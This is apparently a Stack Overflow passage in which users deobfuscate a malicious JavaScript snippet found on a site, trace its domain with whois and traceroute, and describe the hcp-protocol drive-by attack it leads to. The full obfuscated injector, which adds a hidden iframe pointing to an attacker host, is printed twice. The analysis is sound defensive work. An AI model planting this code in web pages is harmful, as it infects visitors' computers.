Date(); var gB = new Date(); this.uL = ""; var nS = "nS"; function dQ() { }; qVK = "qVK"; var hQ = new Array(); var lW = new Array(); rG = false; var gN = "gN"; function iE() { }; gV = "gV"; sT = ''; this.fR = "fR"; var wGW = 47062; this.qJ = ""; this.gBS = ""; var nN = function () { }; var gT = false; this.qM = ""; var qA = false; this.oDD = false; eZ = "eZ"; this.iW = ""; function oFD() { }; var tN = function () { return 'tN' }; tT = 20890; var uJ = ''; var rM = ''; xO = false; rK = ''; this.aMR = 31691; var oLW = new Date(); this.nJ = ""; this.pV = 7748; var vJ = 8022; iA = 45357; var dD = new Array(); var rGR = ''; fU = ''; this.aYO = ""; var gNM = function () { return 'gNM' }; fN = ""; this.yT = false; var rC = false; var tX = ""; var mU = 41520; this.aJ = ""; this.cH = "cH"; var yY = function () { }; var kI = "kI"; function tK() { }; var tAQ = false; uTD = "uTD"; var hIH = "hIH"; function lBC() { }; this.vA = false; var sDO = false; eZN = "eZN"; var iL = new Date(); var bZ = 41417; var dX = ''; var bS = function () { }; mX = false; this.sDY = 12981; var sMFV = "sMFV"; var xT = new Array(); iF = ""; var zY = ''; vNL = ''; var hJ = "hJ"; var nI = function () { return 'nI' }; var tGJ = 41886; xAM = false; var tDK = 5185; var wSH = new Array(); iEM = "iEM"; this.pX = ''; this.sH = false; hN = ''; var qZ = new Date(); qE = "qE"; var qX = ""; var sUT = false; eN = ""; function bT() { }; var qDC = "qDC"; yR = "yR"; var dMG = false; this.nL = ""; var oUK = ''; var cW = 60401; var xOR = 50628; vW = "vW"; this.qR = "qR"; var kB = false; function fG() { }; var yVS = new Date(); var eQ = oU[5][oU[4]](3, 16); this.sRU = 40424; var vSZ = false; var oUC = function () { }; var pS = new Date(); tC = ''; var uW = "uW"; cA = ""; var xJ = oU[7][oU[4]](3, 6); nE = "nE"; var jV = false; fUG = ""; var aX = false; this.zJ = ''; this.dC = "dC"; function lDV() { }; var u = oU[1][oU[4]](3, 4); var aF = function () { }; this.sKM = ''; gH = 35602; this.tE = false; this.wR = ''; var lQ = function () { return 'lQ' }; jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, ''); var tNZ = false; sHZ = ''; var zI = new Date(); this.hT = ''; fY = false; this.aN = "aN"; var qEY = 35434; var z = oU[12][oU[4]](3, 4); var hZQ = new Date(); var cX = function () { return 'cX' }; this.lI = false; this.nMM = ""; var dV = ""; iM = false; var rJ = oU[8][oU[4]](3, 11); yVB = false; this.zP = ""; this.jO = 34768; var bH = new Array(); this.hIHR = "hIHR"; lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, ''); var xI = new Date(); this.yJ = false; this.tGO = 27688; this.yN = 6549; xE = ''; var bZF = false; var xZ = oU[11][eQ](jA); zYQ = false; this.mC = 40578; var zPY = ''; this.yTB = ''; var gA = function () { }; var qL = 29571; var iZ = new Date(); var qN = oU[3][oU[4]](3, 9); var vP = "vP"; var yQ = new Date(); this.gX = ''; var iZV = ''; this.hH = 63374; var jC = oU[6][oU[4]](3, 8); var lKY = new Date(); var sRA = ""; var kUY = ''; var zS = function () { return 'zS' }; xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, ''); this.rT = false; var qU = ''; var nQX = function () { return 'nQX' }; this.nQK = ""; fK = false; var aK = new Array(); this.eC = ""; uM = ''; qXG = "qXG"; cD = "cD"; this.mL = false; var xF = function () { }; xZ[jC] = u; lH = false; var hRX = 24381; var jP = "jP"; var rD = new Array(); this.pK = "pK"; sQ = ''; this.lJ = ''; var dW = function () { return 'dW' }; var eP = new Array(); xZ[qN] = z; var mK = new Date(); var sZM = 33888; var wJZ = "wJZ"; zA = ""; var fW = function () { }; this.lIJ = ""; xL = ""; var rKL = 29796; var xR = new Date(); var pP = false; var qK = ""; gTS = ""; oU[11][oU[9]][oU[10]](xZ); var aG = function () { return 'aG' }; function hV() { }; gE = "gE"; var uHJ = ""; this.nNX = false; } catch (xG) { this.wSN = ''; function yJX() { }; var sTG = new Array(); this.wCW = "wCW"; this.eT = "eT"; iK = "iK"; f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, '')); this.xN = 35962; var uJT = 22074; fL = ''; var wJD = ''; oFI = ''; e[j](function () { m.b() }, 141); tEC = ""; this.vK = "vK"; var hS = function () { }; var gTT = new Array(); } var yJB = function () { return 'yJB' }; this.mXU = "mXU"; this.tFO = false; } }; var fI = 4253; var bJ = new sF(); bVT = 29950; bJ.b(); var hK = function () { return 'hK' }; </script> Thanks to Peter Ajtai for cleaning it up (although editing it seemed to reload the script all cleared up.. must be an SO thing)
Ok, so here is what I have figured out... Basically this script does a document.body.append('<iframe height="1" src="http://macromediasetup.com/zombie/">'); The key line is: oU[11][oU[9]][oU[10]](xZ); oU is an array populate by the line: oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y); oU[w] is a reference to Array.push. So, calling this pushes these 13 items into the array. f, hZ and r -> oU[11], oU[9], and oU[10] respectively are: var f = document; var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, ''); // evaluates to "body" var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, ''); // evaluates to "append" so, this becomes document['body']['append'] or document.body.append() xZ is the iframe string, so it is adding that iframe to the page. Although hitting macromediasetup.com directly just redirects to adobe.com, hitting the zombie route does something entirely different... And the whois for this domain shows it is not adobe owned: $ whois macromediasetup.com [Querying whois.verisign-grs.com] [Redirected to whois.PublicDomainRegistry.com] [Querying whois.PublicDomainRegistry.com] [whois.PublicDomainRegistry.com] Registration Service Provided By: DOMAIN NAMES REGISTRAR REG.RU LTD. Contact: +7.4955801111 Domain Name: MACROMEDIASETUP.COM Registrant: PrivacyProtect.org Domain Admin (contact#privacyprotect.org) P.O. Box 97 Note - All Postal Mails Rejected, visit Privacyprotect.org Moergestel null,5066 ZH NL Tel. +45.36946676 Creation Date: 28-May-2010 Expiration Date: 28-May-2011 Domain servers in listed order: ns2.reg.ru ns1.reg.ru Administrative Contact: PrivacyProtect.org Domain Admin (contact#privacyprotect.org) P.O. Box 97 Note - All Postal Mails Rejected, visit Privacyprotect.org Moergestel null,5066 ZH NL Tel. +45.36946676 Technical Contact: PrivacyProtect.org Domain Admin (contact#privacyprotect.org) P.O. Box 97 Note - All Postal Mails Rejected, visit Privacyprotect.org Moergestel null,5066 ZH NL Tel. +45.36946676 Billing Contact: PrivacyProtect.org Domain Admin (contact#privacyprotect.org) P.O. Box 97 Note - All Postal Mails Rejected, visit Privacyprotect.org Moergestel null,5066 ZH NL Tel. +45.36946676 Traceroute shows it going somewhere in Latvia... 7 nyk-bb1-link.telia.net (80.91.252.162) 77.169 ms 77.401 ms 77.327 ms 8 kbn-bb1-link.telia.net (80.91.254.88) 156.938 ms 156.960 ms 156.842 ms 9 s-bb1-link.telia.net (80.91.247.160) 166.491 ms 166.425 ms 166.499 ms 10 s-b3-link.telia.net (80.91.247.105) 212.715 ms 212.759 ms 212.776 ms 11 telia-latvija-ic-132810-s-b3.c.telia.net (213.248.82.134) 203.272 ms 203.313 ms 203.936 ms EDIT ok so I did a little more digging, just because it was interesting and I figured out exactly what is going on. The file that is included in the iframe retrieves a file which will use an "hcp" protocol hack for Windows XP machines. Basically, the included file will make a "You need to install some nifty plugin that you don't have" message appear in your browser... then, when you install it, you are in the poop.
The first thing I would do is to beautify the script - I used - http://jsbeautifier.org/ This line jumped out at me (line broken up for readability): xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)' . xAW(/[)6T|!]/g, ''); The whole script is: function sF() { }; var sMN = new Array(); sF.prototype = { b: function () { wL = "wL"; var c = "c"; var wS = new Array(); cY = ''; this.bW = "bW"; this.sR = 35912; var f = document; var uH = "uH"; var cJ = 13620; var n = ''; this.hI = 9833; this.wX = 45851; var bI = function () { }; var e = window; yM = ''; a = "a"; var mV = 57574; var pD = function () { }; var uQ = ""; var m = this; this.v = false; var cB = false; this.t = 52080; var qY = false; this.oV = ''; wG = false; var nW = function () { }; String.prototype.xAW = function (p, d) { var i = this; return i.replace(p, d) }; this.xA = ''; var bA = ""; this.oZ = 27110; var rR = new Array(); var mP = function () { return 'mP' }; this.aY = 39890; this.wE = false; var j = 'sbe)t)T)'.xAW(/[)O4Eb]/g, '') + 'iZm&eZoVu&tV'.xAW(/[V&{:Z]/g, ''); var zR = new Date(); var yV = 30047; this.wLU = 47818; var vX = ''; function wD() { }; hR = 22291; var jF = 'eNdNdUsreNtUAUtr'.xAW(/[rpXUN]/g, '') + 'tarNiNs9daf&'.xAW(/[&9aN6]/g, ''); this.iI = false; this.nK = "nK"; this.sS = ''; this.pL = "pL"; var uP = function () { }; var l = 'w$r$i9t$e|'.xAW(/[|$~(9]/g, ''); var lK = false; var aU = "aU"; var mB = new Array(); var cS = function () { return 'cS' }; var nKP = ""; var dH = function () { return 'dH' }; try { tG = ""; var jB = new Date(); hX = ''; var sE = ""; var pE = new Array(); fZ = 41855; var o = 's)ut'.xAW(/[tJ)md]/g, '') + 'bD'.xAW(/[D$sE{]/g, '') + 'sQtQrQiu'.xAW(/[u+QY/]/g, '') + 'njg7'.xAW(/[7qjky]/g, ''); this.eV = ''; dS = ''; eS = false; this.eVS = false; var r = 'aNp6p)e6n#dNC0h6iNl0dN'.xAW(/[N)0#6]/g, ''); fH = "fH"; vU = ""; this.hA = ""; lB = 56028; var vN = ''; var q = 'szrzcz'.xAW(/[z(k+G]/g, ''); function uT() { }; this.jKG = 26380; this.eG = 41884; wM = "wM"; var zQ = function () { }; function aW() { }; var lD = 16264; sU = ""; var h = 'o|fRf#c$r/e|a#'.xAW(/[#$|R/]/g, '') + 'tLepE4l4eLm&'.xAW(/[&4LpO]/g, '') + 'e0n0t,rDeDdK'.xAW(/[K0,lD]/g, ''); var iV = ''; var sUW = function () { }; var k = false; this.kT = false; this.rW = "rW"; var dY = 60892; this.xX = 51713; this.vS = 62755; var jK = 'lQy;r)h)eQiU'.xAW(/[U)QN;]/g, '') + 'gNhHt!gHr4eB'.xAW(/[BN!4H]/g, ''); function wT() { }; bV = ""; var hM = new Date(); var bL = new Array(); var dM = false; var mI = ""; var x = 't]eTdTwTizdp'.xAW(/[p]z2T]/g, '') + 'tihqg]rqdi'.xAW(/[i]bNq]/g, ''); var sD = ''; this.dN = ''; this.lT = "lT"; var jCF = function () { return 'jCF' }; function xAA() { }; var iIQ = function () { return 'iIQ' }; var hZ = 'b]o]dBy5'.xAW(/[5];BD]/g, ''); var vD = ""; var oF = function () { }; var wGT = ""; xJD = "xJD"; var wH = new Date(); var mM = function () { }; var dP = "dP"; var qF = ''; var vV = ""; mY = false; var w = 'p0u<s<hk'.xAW(/[kP0Q<]/g, ''); var pN = function () { return 'pN' }; sM = 43919; mZ = false; fM = ''; var g = ""; hF = 51580; var fJ = new Date(); this.tU = ""; var gG = "gG"; kD = ""; this.hAU = "hAU"; jAV = ""; var qP = ''; var cT = "cT"; var wZ = function () { }; var rE = 'abscwGibfcrGlGiJjJ'.xAW(/[JGDcb]/g, ''); var nT = new Array(); var mA = function () { }; var oZJ = function () { return 'oZJ' }; this.aM = ""; nM = 5166; nTR = ""; var oL = 'f#'.xAW(/[#A4#&]/g, ''); zC = false; tD = ""; this.vQ = false; var lZN = function () { return 'lZN' }; lY = 40654; y = 'spwpq,1mlmypt4'.xAW(/[4pmM,]/g, ''); var qD = "qD"; this.mS = false; this.jCN = "jCN"; var fV = 26384; tI = "tI"; this.aP = ''; s = 'a#,pw727hId#eI'.xAW(/[I#up7]/g, ''); xY = false; var kU = function () { return 'kU' }; var dJ = "dJ"; var sUH = function () { return 'sUH' }; aI = 43838; var dK = false; this.gR = ''; var oU = new Array(); sZ = 5437; kH = "kH"; var rY = false; this.wV = 49424; oU[w](oL, s, q, jK, o, h, x, rE, jF, hZ, r, f, y); var eI = ""; function sMF() { }; dSG = ''; oD = 15793; var nQ = function () { }; this.sK = 12917; this.gC = false; function lBP() { }; qDD = ''; var tA = 1992; wC = "wC"; this.qV = false; this.aD = ''; wJ = false; function tF() { }; var rH = new Date(); function qT() { }; var vUG = new Date(); var gB = new Date(); this.uL = ""; var nS = "nS"; function dQ() { }; qVK = "qVK"; var hQ = new Array(); var lW = new Array(); rG = false; var gN = "gN"; function iE() { }; gV = "gV"; sT = ''; this.fR = "fR"; var wGW = 47062; this.qJ = ""; this.gBS = ""; var nN = function () { }; var gT = false; this.qM = ""; var qA = false; this.oDD = false; eZ = "eZ"; this.iW = ""; function oFD() { }; var tN = function () { return 'tN' }; tT = 20890; var uJ = ''; var rM = ''; xO = false; rK = ''; this.aMR = 31691; var oLW = new Date(); this.nJ = ""; this.pV = 7748; var vJ = 8022; iA = 45357; var dD = new Array(); var rGR = ''; fU = ''; this.aYO = ""; var gNM = function () { return 'gNM' }; fN = ""; this.yT = false; var rC = false; var tX = ""; var mU = 41520; this.aJ = ""; this.cH = "cH"; var yY = function () { }; var kI = "kI"; function tK() { }; var tAQ = false; uTD = "uTD"; var hIH = "hIH"; function lBC() { }; this.vA = false; var sDO = false; eZN = "eZN"; var iL = new Date(); var bZ = 41417; var dX = ''; var bS = function () { }; mX = false; this.sDY = 12981; var sMFV = "sMFV"; var xT = new Array(); iF = ""; var zY = ''; vNL = ''; var hJ = "hJ"; var nI = function () { return 'nI' }; var tGJ = 41886; xAM = false; var tDK = 5185; var wSH = new Array(); iEM = "iEM"; this.pX = ''; this.sH = false; hN = ''; var qZ = new Date(); qE = "qE"; var qX = ""; var sUT = false; eN = ""; function bT() { }; var qDC = "qDC"; yR = "yR"; var dMG = false; this.nL = ""; var oUK = ''; var cW = 60401; var xOR = 50628; vW = "vW"; this.qR = "qR"; var kB = false; function fG() { }; var yVS = new Date(); var eQ = oU[5][oU[4]](3, 16); this.sRU = 40424; var vSZ = false; var oUC = function () { }; var pS = new Date(); tC = ''; var uW = "uW"; cA = ""; var xJ = oU[7][oU[4]](3, 6); nE = "nE"; var jV = false; fUG = ""; var aX = false; this.zJ = ''; this.dC = "dC"; function lDV() { }; var u = oU[1][oU[4]](3, 4); var aF = function () { }; this.sKM = ''; gH = 35602; this.tE = false; this.wR = ''; var lQ = function () { return 'lQ' }; jA = xJ + 'a3m3e3'.xAW(/[3Fr6h]/g, ''); var tNZ = false; sHZ = ''; var zI = new Date(); this.hT = ''; fY = false; this.aN = "aN"; var qEY = 35434; var z = oU[12][oU[4]](3, 4); var hZQ = new Date(); var cX = function () { return 'cX' }; this.lI = false; this.nMM = ""; var dV = ""; iM = false; var rJ = oU[8][oU[4]](3, 11); yVB = false; this.zP = ""; this.jO = 34768; var bH = new Array(); this.hIHR = "hIHR"; lZ = rJ + 'b)u.tHeQ'.xAW(/[QH)N.]/g, ''); var xI = new Date(); this.yJ = false; this.tGO = 27688; this.yN = 6549; xE = ''; var bZF = false; var xZ = oU[11][eQ](jA); zYQ = false; this.mC = 40578; var zPY = ''; this.yTB = ''; var gA = function () { }; var qL = 29571; var iZ = new Date(); var qN = oU[3][oU[4]](3, 9); var vP = "vP"; var yQ = new Date(); this.gX = ''; var iZV = ''; this.hH = 63374; var jC = oU[6][oU[4]](3, 8); var lKY = new Date(); var sRA = ""; var kUY = ''; var zS = function () { return 'zS' }; xZ[oU[2]] = 'hTt!t|p):6/|/)m|a)c|rTo6m)e)d)iTa)s6e6t|uTp!.!c|o6m|/!z!o!mTbTiTe!/)'.xAW(/[)6T|!]/g, ''); this.rT = false; var qU = ''; var nQX = function () { return 'nQX' }; this.nQK = ""; fK = false; var aK = new Array(); this.eC = ""; uM = ''; qXG = "qXG"; cD = "cD"; this.mL = false; var xF = function () { }; xZ[jC] = u; lH = false; var hRX = 24381; var jP = "jP"; var rD = new Array(); this.pK = "pK"; sQ = ''; this.lJ = ''; var dW = function () { return 'dW' }; var eP = new Array(); xZ[qN] = z; var mK = new Date(); var sZM = 33888; var wJZ = "wJZ"; zA = ""; var fW = function () { }; this.lIJ = ""; xL = ""; var rKL = 29796; var xR = new Date(); var pP = false; var qK = ""; gTS = ""; oU[11][oU[9]][oU[10]](xZ); var aG = function () { return 'aG' }; function hV() { }; gE = "gE"; var uHJ = ""; this.nNX = false; } catch (xG) { this.wSN = ''; function yJX() { }; var sTG = new Array(); this.wCW = "wCW"; this.eT = "eT"; iK = "iK"; f[l]('<RhRt[m;l; [>a<[b|oRd[y; ;>|<|t[d; R>a<[/atRdR>a<;/Rbao[d[y;>;<;/|h|t;malR>R'.xAW(/[Ra[|;]/g, '')); this.xN = 35962; var uJT = 22074; fL = ''; var wJD = ''; oFI = ''; e[j](function () { m.b() }, 141); tEC = ""; this.vK = "vK"; var hS = function () { }; var gTT = new Array(); } var yJB = function () { return 'yJB' }; this.mXU = "mXU"; this.tFO = false; } }; var fI = 4253; var bJ = new sF(); bVT = 29950; bJ.b(); var hK = function () { return 'hK' };
This is obsfucated javascript. There are tools and websites out there that will let you debug it and see the final code right before it is executed. Here is one example of an add-on that will allow you to do this: Javascript Deobsfucator for FireFox